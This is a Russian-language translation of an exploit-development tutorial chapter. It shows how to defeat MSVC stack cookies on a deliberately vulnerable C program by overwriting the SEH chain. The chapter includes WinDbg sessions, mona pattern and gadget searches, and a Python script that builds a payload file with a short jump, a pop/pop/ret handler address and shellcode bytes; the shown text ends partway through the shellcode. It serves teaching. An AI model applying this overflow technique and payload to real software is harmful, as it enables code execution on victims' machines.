R0 CREW

Exploit Development Course Part 8: Exploitme2 (Stack cookies & SEH) (Перевод: klaus)

Перейти к содержанию

Exploitme2 (Stack cookies & SEH)

Для лучшего усвоения материала стоит ознакомиться с предыдущей статьей если вы её еще не читали.

Мы будем использовать код из прошлой части:

#include <cstdio>
 
int main() {
    char name[32];
    printf("Enter your name and press ENTER\n");
    scanf("%s", name);
    printf("Hi, %s!\n", name);
    return 0;
}

В этот раз мы изменим конфигурацию по другому. В VS 2013 мы отключим DEP перейдя в Project→properties и изменим конфигурацию для Release следующим образом:

Configuration Properties

  • Linker

    • Advanced

      • Data Execution Prevention (DEP): No (/NXCOMPAT:NO)

Убедитесь что у вас есть:

Configuration Properties

  • C/C++

    • Code Generation

      • Security Check: Enable Security Check (/GS)

Если у вас еще остался файл c:\name.dat который мы использовали для exploitme1.exe и вы попытаетесь запустить exploitme2.exe – вас ждет падение программы и никакого калькулятора. Почему? Посмотрим на ассемблерный код:

int main() {
00101000 55                   push        ebp  
00101001 8B EC                mov         ebp,esp  
00101003 83 EC 24             sub         esp,24h  
00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  
0010100B 33 C5                xor         eax,ebp  
0010100D 89 45 FC             mov         dword ptr [ebp-4],eax  
    char name[32];
    printf("Enter your name and press ENTER\n");
00101010 68 00 21 10 00       push        102100h  
00101015 FF 15 90 20 10 00    call        dword ptr ds:[102090h]  
    scanf("%s", name);
0010101B 8D 45 DC             lea         eax,[name]  
0010101E 50                   push        eax  
0010101F 68 24 21 10 00       push        102124h  
00101024 FF 15 94 20 10 00    call        dword ptr ds:[102094h]  
    printf("Hi, %s!\n", name);
0010102A 8D 45 DC             lea         eax,[name]  
0010102D 50                   push        eax  
0010102E 68 28 21 10 00       push        102128h  
00101033 FF 15 90 20 10 00    call        dword ptr ds:[102090h]  
    return 0;
}
00101039 8B 4D FC             mov         ecx,dword ptr [ebp-4]  
0010103C 83 C4 14             add         esp,14h  
0010103F 33 CD                xor         ecx,ebp  
00101041 33 C0                xor         eax,eax  
00101043 E8 04 00 00 00       call        __security_check_cookie (010104Ch)  
00101048 8B E5                mov         esp,ebp  
0010104A 5D                   pop         ebp  
0010104B C3                   ret

А вот код для сравнения:

int main() {
01391000 55                   push        ebp  
01391001 8B EC                mov         ebp,esp  
01391003 83 EC 20             sub         esp,20h  
    char name[32];
    printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01       push        1392100h  
0139100B FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  
    scanf("%s", name);
01391011 8D 45 E0             lea         eax,[name]  
01391014 50                   push        eax  
01391015 68 24 21 39 01       push        1392124h  
0139101A FF 15 94 20 39 01    call        dword ptr ds:[1392094h]  
    printf("Hi, %s!\n", name);
01391020 8D 45 E0             lea         eax,[name]  
01391023 50                   push        eax  
01391024 68 28 21 39 01       push        1392128h  
01391029 FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  
0139102F 83 C4 14             add         esp,14h  
    return 0;
01391032 33 C0                xor         eax,eax  
}
01391034 8B E5                mov         esp,ebp  
01391036 5D                   pop         ebp  
01391037 C3                   ret

Давайте опустим не интересующие биты.

Старый код:

int main() {
01391000 55                   push        ebp  
01391001 8B EC                mov         ebp,esp  
01391003 83 EC 20             sub         esp,20h  
.
.
.
01391034 8B E5                mov         esp,ebp  
01391036 5D                   pop         ebp  
01391037 C3                   ret

Новый код:

int main() {
00101000 55                   push        ebp  
00101001 8B EC                mov         ebp,esp  
00101003 83 EC 24             sub         esp,24h  
00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  
0010100B 33 C5                xor         eax,ebp  
0010100D 89 45 FC             mov         dword ptr [ebp-4],eax  
.
.
.
00101039 8B 4D FC             mov         ecx,dword ptr [ebp-4]  
0010103C 83 C4 14             add         esp,14h  
0010103F 33 CD                xor         ecx,ebp  
00101041 33 C0                xor         eax,eax  
00101043 E8 04 00 00 00       call        __security_check_cookie (010104Ch)  
00101048 8B E5                mov         esp,ebp  
0010104A 5D                   pop         ebp  
0010104B C3                   ret

После пролога (plolog) нового кода стек должен выглядеть так:

esp --> name[0..3]
          name[4..7]
          .
          .
          .
          name[28..31]
ebp-4 --> cookie
  ebp --> saved ebp
          ret eip
          .
          .
          .

Идея в том, что пролог устанавливает cookies, а эпилог (epilog) проверяет не были ли cookies изменены. Если cookie изменились, эпилог завершит программу с ошибкой до выполнения инструкции ret. О позиции cookie: если мы перезапишем name, также перезапишутся cookie и инструкция ret eip. Эпилог завершит программу до того как мы сможем взять управление над потоком выполнения программы в свои руки.

Посмотрим на пролог:

00101006 A1 00 30 10 00       mov         eax,dword ptr ds:[00103000h]  
0010100B 33 C5                xor         eax,ebp  
0010100D 89 45 FC             mov         dword ptr [ebp-4],eax

Сперва cookie читается с ds:[00103000h] и потом ксорится (xor) с EBP перед сохранением в [ebp-4]. Таким образом cookie зависит от EBP, а это значит что вложенные вызовы будут иметь разные cookies. Cookie по адресу ds:[00103000h] – это случайное значение которое вычисляется во время выполнения на протяжении этапа инициализации.

Теперь, когда мы поняли в чем проблема, мы можем вернуться к версии fread() нашего кода:

#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}

Так как мы не можем получить контроль над EIP через ret eip, мы попробуем модифицировать цепочку SEH её переписыванием. К счастью, данная цепочка расположена в стеке. Смотрите часть о Structure Exception Handling (SEH) что бы освежить знания.

Откройте exploitme2.exe в WinDbg, поставьте точку останова на main:

bp exploitme2!main

и запустите программу нажатием клавиши F5.

Когда выполнение остановится (вы должны видеть исходный код), посмотрите на стек и на цепочку SEH:

0:000> dd esp
0038fb20  011814d9 00000001 00625088 00615710
0038fb30  bd0c3ff1 00000000 00000000 7efde000
0038fb40  00000000 0038fb30 00000001 0038fb98
0038fb50  01181969 bc2ce695 00000000 0038fb68
0038fb60  75dd338a 7efde000 0038fba8 77c09f72
0038fb70  7efde000 77ebad68 00000000 00000000
0038fb80  7efde000 00000000 00000000 00000000
0038fb90  0038fb74 00000000 ffffffff 77c471f5
0:000> !exchain
0038fb4c: exploitme2!_except_handler4+0 (01181969)
  CRT scope  0, filter: exploitme2!__tmainCRTStartup+115 (011814f1)
                func:   exploitme2!__tmainCRTStartup+129 (01181505)
0038fb98: ntdll!WinSqmSetIfMaxDWORD+31 (77c471f5)

Помните, что SHE узлы имеют 8 байт и принимают следующуюю форму:

<ptr на следующий SEH узел в списке>
<ptr на обработчик>

Мы можем видеть что первый узел расположен по адресу 0x38fb4c (т.е. esp+0x2c) и содержит:

0038fb98         <-- следующий SEH узел
01181969         <-- обработчик (exploitme2!_except_handler4)

Следующий и последний SEH узел по адресу 0x38fb98 (т.е. esp+0x78) содержит:

ffffffff         <-- следующий SEH узел (none – это последний узел)
77c471f5         <-- обработчик (ntdll!WinSqmSetIfMaxDWORD+31)

Теперь запишем 100 символов «а» в файл c:\name.dat и выполним проход с помощью клавиши F10 до тех пор, пока вы не выполните функцию fread(). Давайте изучим SEH цепочку снова:

0:000> !exchain
0038fb4c: 61616161
Invalid exception stack at 61616161

Как видите, нам удалось перезаписать SEH цепочку. Теперь запустим программу (F5).

WinDbg выведет следующее:

STATUS_STACK_BUFFER_OVERRUN encountered
(1610.1618): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=01182108 ecx=75e1047c edx=0038f4d1 esi=00000000 edi=6d5ee060
eip=75e1025d esp=0038f718 ebp=0038f794 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
kernel32!GetProfileStringW+0x12cc1:
75e1025d cc              int     3

Это значит что эпилог функции main() обнаружил модификацию cookie и остановил нас до того как мы смогли бы делать хоть что-то, но, на самом деле данное нарушение безопасности из-за проверки границ которое относится к коду ниже fread:

#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';     <-------------------------
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}

Вот и проверка границ:

name[bytes] = '\0';
008B107A 83 FE 20             cmp         esi,20h           ; esi = bytes
008B107D 73 30                jae         main+0AFh (08B10AFh)  
008B107F 57                   push        edi  
008B1080 C6 44 35 DC 00       mov         byte ptr name[esi],0  
.
.
.
008B10AF E8 48 01 00 00       call        __report_rangecheckfailure (08B11FCh)

В этом случае случае дело не дойдет до эпилога из-за проверки границ, но концепт тот же. Мы переписали SEH цепочку но никакого исключения не было возбуждено и SEH цепочка даже не используется. Нам надо возбудить исключение до момента проверки границ (или до того момента как программа достигнет эпилога функции main() ).

Проведем эксперимент: давайте посмотрим сможет ли исключение вызвать обработчик указанный в SEH цепочке.

Модифицируем код следующим образом:

name[bytes] = '\0';
008B107A 83 FE 20             cmp         esi,20h           ; esi = bytes
008B107D 73 30                jae         main+0AFh (08B10AFh)  
008B107F 57                   push        edi  
008B1080 C6 44 35 DC 00       mov         byte ptr name[esi],0  
.
.
.
008B10AF E8 48 01 00 00       call        __report_rangecheckfailure (08B11FCh)

Обратите внимание на то, что мы добавили деление на 0 сразу после функции fread(). Это должно сгенерировать исключение и вызвать первый обработчик SEH цепочки.

Скомпилируйте код, переоткройте программу в WinDbg и нажмите F5. Вот что случится:

(177c.12f4): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for exploitme2.exe
eax=00000064 ebx=6d5ee060 ecx=00000000 edx=00000000 esi=00000001 edi=00000064
eip=012f107a esp=002cfbd4 ebp=002cfc2c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
exploitme2!main+0x7a:
012f107a f7f9            idiv    eax,ecx

Как видим, WinDbg поймал исключение до того как это смогла увидеть программа. Нажмите F5 еще раз что бы пропустить исключение в программу.

Вот что мы увидим:

(177c.12f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=002cf638 ebp=002cf658 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
61616161 ??              ???

Мы увидим, что EIP = 0x61616161. Объяснение одно: обработчик в модифицированной SHE цепочке был вызван!

Теперь мы должны найти метод, с помощью которого мы сможем возбудить исключение до проверки границ (или до того как cookie будут проверены эпилогом функции main() ). Прежде всего мы удалим исключение и немного изменим наш код:

#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    int pos = 0;
    while (pos < bytes) {
        int len = bytes - pos > 200 ? 200 : bytes - pos;
        fread(name + pos, 1, len, f);
        pos += len;
    }
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}

Мы решили читать файл блоками в 200 байтов из-за того, что функция fread() может аварийно завершить работу если мы попросим её прочитать слишком много байтов. Таким образом мы можем получить длинный файл.
Стек не бесконечен и если мы будем продолжать записывать в него информацию дойдя до конца (высший адрес) – будет возбуждено исключение нарушения доступа. Запустим свою среду разработки (для Python) и попробуем ввести 1000 символов «а»:

with open('c:\\name.dat', 'wb') as f:
    f.write('a'*1000)

Если запустить exploitme2.exe в WinDbg то мы убедимся что этого мало.

Попробуем с 2000:

with open('c:\\name.dat', 'wb') as f:
    f.write('a'*2000)

Это тоже не работает. В конце концов с 10 000 символов «а» это сработало:

(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SysWOW64\MSVCR120.dll -
eax=00816808 ebx=000000c8 ecx=00000030 edx=000000c8 esi=008167d8 edi=003c0000
eip=6d51f20c esp=003bfb68 ebp=003bfb88 iopl=0         nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010287
MSVCR120!wcslen+0x19:
6d51f20c f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

После нажатия F5 мы получим:

(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=003bf5cc ebp=003bf5ec iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
61616161 ??              ???

То что мы хотели: EIP = 0x61616161. Мы знаем что наши «а» переписали адрес обработчика SHE узла, но какие именно символы «а»? Другими словами, по какому смещению в файле мы ставим адрес на который в дальнейшем хотим перейти?
Легче всего будет использовать специальный паттерн вместо простых символов «а». Этот паттерн построен так, что бы полученная последовательность из 4-х байт могла сразу нам сказать по какому смещению она находится в файле.

Mona поможет нам в этом:

0:000> !py mona pattern_create 10000
Hold on...
[+] Command used:
!py mona.py pattern_create 10000
Creating cyclic pattern of 10000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)
[+] Preparing output file 'pattern.txt'
    - (Re)setting logfile pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open pattern.txt and copy the pattern from the file

[+] This mona.py action took 0:00:00

Немного Python кода поможет нам сгенерировать потерн в файл c:\name.dat:

with open('c:\\name.dat', 'wb') as f:
    pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(обрезано)'
    f.write(pattern)

Я специально укоротил патерн что бы не занимать много места в статье.

Перезапустим exploitme2.exe в WinDbg, нажимает дважды F5 и получаем:

(11e0.11e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=64413963 edx=77c2b4ad esi=00000000 edi=00000000
eip=64413963 esp=0042f310 ebp=0042f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
64413963 ??              ???

Мы видим что EIP = 0x64413963. Смотрим по какому смещению адрес находится. Помните, что Intel CPU используют little endian порядок байт по этому 0x64413963 = “\x63\x39\x41\x64″ = “c9Ad”. Использует mona для определения смещения:

0:000> !py mona pattern_offset 64413963
Hold on...
[+] Command used:
!py mona.py pattern_offset 64413963
Looking for c9Ad in pattern of 500000 bytes
 - Pattern c9Ad (0x64413963) found in cyclic pattern at position 88
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
 - Pattern dA9c not found in cyclic pattern (uppercase)  
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
 - Pattern dA9c not found in cyclic pattern (lowercase)  

[+] This mona.py action took 0:00:00.172000

Наше смещение – 88. Проверим правильное ли это смещение Python скриптом:

with open('c:\\name.dat', 'wb') as f:
    handler = 'bbbb'
    f.write('a'*88 + handler + 'c'*(10000-88-len(handler)))

Теперь WinDbg покажет следущее:

(1b0c.1bf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=62626262 edx=77c2b4ad esi=00000000 edi=00000000
eip=62626262 esp=002af490 ebp=002af4b0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
62626262 ??              ???

Так как 0x62626262 = “bbbb”, это именно то что мы хотели.

Теперь мы знает где вставить наш адрес в файле, и теперь надо решить какой адрес использовать. В окне WinDbg перейдите в View→Memory и в “Virtual:” введите @esp что бы видеть часть стека на которую указывает ESP. В моем случае ESP = 0x2af490 и наши «b» по адресу @esp+6d4.

Давайте перезапустим exploitme2.exe что бы увидеть является ли 6d4 константой. Снова введите @esp+6d4 в “Virtual:” в окне Memory и вы должны увидеть что указатель все также направлен на наши 4 сивола «b». Так же мы можем заметить что ESP всегда другой, даже если 6d4 не меняется.

Так что мы можем вставить наш шелл-код сразу после 4-х символов «b» и заменить те «b» нужным нам адресом кода:

ADD   ESP, 6d8
JMP   ESP

Следует заметить что мы используем 6d8, т.е. 6d4+4 что бы пропустить символы «b» b перепрыгнуть к коду который мы поместим вместо наших «с». Конечно же, ADD ESP, 6e0 или что-то похожее так же подойдет. К сожалению, непросто найти такой код, но все же есть один путь к этому.

Перезапустим exploitme2.exe, нажимаем F5 дважды и смотрим в стек:

0:000> dd esp
002df45c  77c2b499 002df544 002dfb2c 002df594
002df46c  002df518 002dfa84 77c2b4ad 002dfb2c
002df47c  002df52c 77c2b46b 002df544 002dfb2c
002df48c  002df594 002df518 62626262 00000000
002df49c  002df544 002dfb2c 77c2b40e 002df544
002df4ac  002dfb2c 002df594 002df518 62626262
002df4bc  002e1000 002df544 00636948 00000000
002df4cc  00000000 00000000 00000000 00000000

DWORD по адресу esp+8 выглядит интересно. Если мы посмотрим что находится по адресу мы увидим следующее:

0:000> db poi(esp+8)
002dfb2c  61 61 61 61 62 62 62 62-63 63 63 63 63 63 63 63  aaaabbbbcccccccc
002dfb3c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb4c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb5c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb6c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb7c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb8c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
002dfb9c  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc

Кажется 0x2dfb2c указывает на 4 символа «а» предшествующих нашим «b». Помните что «bbbb» перезаписали поле «обработчика» SHE узла, по этому 0x2dfb2c должен указывать на поле «следующего SEH узла» того же SEH узла.

Давайте проверим это:

0:000> !exchain
002df470: ntdll!ExecuteHandler2+3a (77c2b4ad)
002dfa84: MSVCR120!_ValidateRead+439 (6d52a0d5)
002dfb2c: 62626262
Invalid exception stack at 61616161

Виглядит так, как мы перезаписали третий SEH узел:

0:000> dt _EXCEPTION_REGISTRATION_RECORD 002dfb2c
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x61616161 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x62626262     _EXCEPTION_DISPOSITION  +62626262

Прежде всего убедитесь что esp+8 всегда содержит правильный адрес: перезапустите процесс и попробуйте еще раз. После того как вы проверили это, вам надо найти что-то подобное:

POP   reg32
POP   reg32
RET

Идея в том, что бы вставить адрес такого куска кода вместо наших 4-х «b». Когда выполниться этот код, он сделает инкремент ESP на 8 (через два POP) и потом извлечет значение на которое указывает ESP и перейдет по этому адресу. Он сделает именно то что нам надо было, т.е. перейдем по адресу 4-х «а» сразу после наших «b». Что бы пропустить «b» и перейти на наш шелл-код (наши «с»), нам надо вставить jmp сразу перед символами «b».

Опкод JMP:

EB XX

Где ХХ это знаковый байт. Давайте добавим метку для удобства:

here:
  EB XX

Данный опкод переходит к here+2+XX. К примеру:

EB 00
there:

Именно то что мы хотели:

90 это опкод инструкции NO, но мы можем использовать другие опкоды так как всё равно их пропустим.

Теперь давайте найдем адрес pop/pop/ret в kernel32.dll:

0:000> !py mona findwild -s "pop r32#pop r32#ret" -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m kernel32.dll

---------- Mona command started on 2015-03-18 20:33:46 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules kernel32.dll
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x75dc0000 and 0x75ed0000
[+] Preparing output file 'findwild.txt'
    - (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
    - Number of pointers of type 'pop edi # pop ebp # retn 24h' : 1
    - Number of pointers of type 'pop esi # pop ebx # retn' : 2
    - Number of pointers of type 'pop ebx # pop ebp # retn 14h' : 4
    - Number of pointers of type 'pop ebx # pop ebp # retn 10h' : 14
    - Number of pointers of type 'pop edi # pop esi # retn' : 2
    - Number of pointers of type 'pop edi # pop ebp # retn 8' : 13
    - Number of pointers of type 'pop eax # pop ebp # retn 1ch' : 2
    - Number of pointers of type 'pop ecx # pop ebx # retn 4' : 1
    - Number of pointers of type 'pop esi # pop ebp # retn' : 1
    - Number of pointers of type 'pop ebx # pop ebp # retn 1ch' : 4
    - Number of pointers of type 'pop eax # pop ebp # retn 0ch' : 8
    - Number of pointers of type 'pop edi # pop ebp # retn 1ch' : 2
    - Number of pointers of type 'pop eax # pop ebp # retn 20h' : 2
    - Number of pointers of type 'pop esi # pop ebp # retn 0ch' : 49
    - Number of pointers of type 'pop eax # pop ebp # retn' : 2
    - Number of pointers of type 'pop eax # pop ebp # retn 4' : 3
    - Number of pointers of type 'pop esi # pop ebp # retn 20h' : 2
    - Number of pointers of type 'pop ebx # pop ebp # retn 0ch' : 27
    - Number of pointers of type 'pop esi # pop ebp # retn 24h' : 1
    - Number of pointers of type 'pop eax # pop ebp # retn 18h' : 3
    - Number of pointers of type 'pop edi # pop ebp # retn 0ch' : 11
    - Number of pointers of type 'pop esi # pop ebp # retn 10h' : 15
    - Number of pointers of type 'pop esi # pop ebp # retn 18h' : 10
    - Number of pointers of type 'pop esi # pop ebp # retn 14h' : 11
    - Number of pointers of type 'pop edi # pop ebp # retn 10h' : 6
    - Number of pointers of type 'pop eax # pop ebp # retn 8' : 5
    - Number of pointers of type 'pop ebx # pop ebp # retn 4' : 11
    - Number of pointers of type 'pop esi # pop ebp # retn 4' : 70
    - Number of pointers of type 'pop esi # pop ebp # retn 8' : 62
    - Number of pointers of type 'pop edx # pop eax # retn' : 1
    - Number of pointers of type 'pop ebx # pop ebp # retn 8' : 26
    - Number of pointers of type 'pop ebx # pop ebp # retn 18h' : 6
    - Number of pointers of type 'pop ebx # pop ebp # retn 20h' : 2
    - Number of pointers of type 'pop eax # pop ebp # retn 10h' : 3
    - Number of pointers of type 'pop eax # pop ebp # retn 14h' : 3
    - Number of pointers of type 'pop ebx # pop ebp # retn' : 4
    - Number of pointers of type 'pop edi # pop ebp # retn 14h' : 2
    - Number of pointers of type 'pop edi # pop ebp # retn 4' : 5
[+] Results :
0x75dd4e18 |   0x75dd4e18 (b+0x00014e18)  : pop edi # pop ebp # retn 24h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd75d |   0x75dfd75d (b+0x0003d75d)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd916 |   0x75dfd916 (b+0x0003d916)  : pop esi # pop ebx # retn |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dd4f7c |   0x75dd4f7c (b+0x00014f7c)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75ddf840 |   0x75ddf840 (b+0x0001f840)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfc1ca |   0x75dfc1ca (b+0x0003c1ca)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7a327 |   0x75e7a327 (b+0x000ba327)  : pop ebx # pop ebp # retn 14h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75de1267 |   0x75de1267 (b+0x00021267)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75defda1 |   0x75defda1 (b+0x0002fda1)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfb33c |   0x75dfb33c (b+0x0003b33c)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfbf8a |   0x75dfbf8a (b+0x0003bf8a)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfda42 |   0x75dfda42 (b+0x0003da42)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e45960 |   0x75e45960 (b+0x00085960)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e47b36 |   0x75e47b36 (b+0x00087b36)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e4a53f |   0x75e4a53f (b+0x0008a53f)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e5e294 |   0x75e5e294 (b+0x0009e294)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e65641 |   0x75e65641 (b+0x000a5641)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e6a121 |   0x75e6a121 (b+0x000aa121)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e77bf1 |   0x75e77bf1 (b+0x000b7bf1)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7930d |   0x75e7930d (b+0x000b930d)  : pop ebx # pop ebp # retn 10h |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open findwild.txt...
    Found a total of 396 pointers

[+] This mona.py action took 0:00:12.400000

Давайте выберем второй:

0x75dfd75d |   0x75dfd75d (b+0x0003d75d)  : pop esi # pop ebx # retn

Наша схема приобретет следующий вид:

Python скрипт что бы создать name.dat:

with open('c:\\name.dat', 'wb') as f:
    jmp = '\xeb\x06\x90\x90'
    handler = '\x5d\xd7\xdf\x75'
    shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
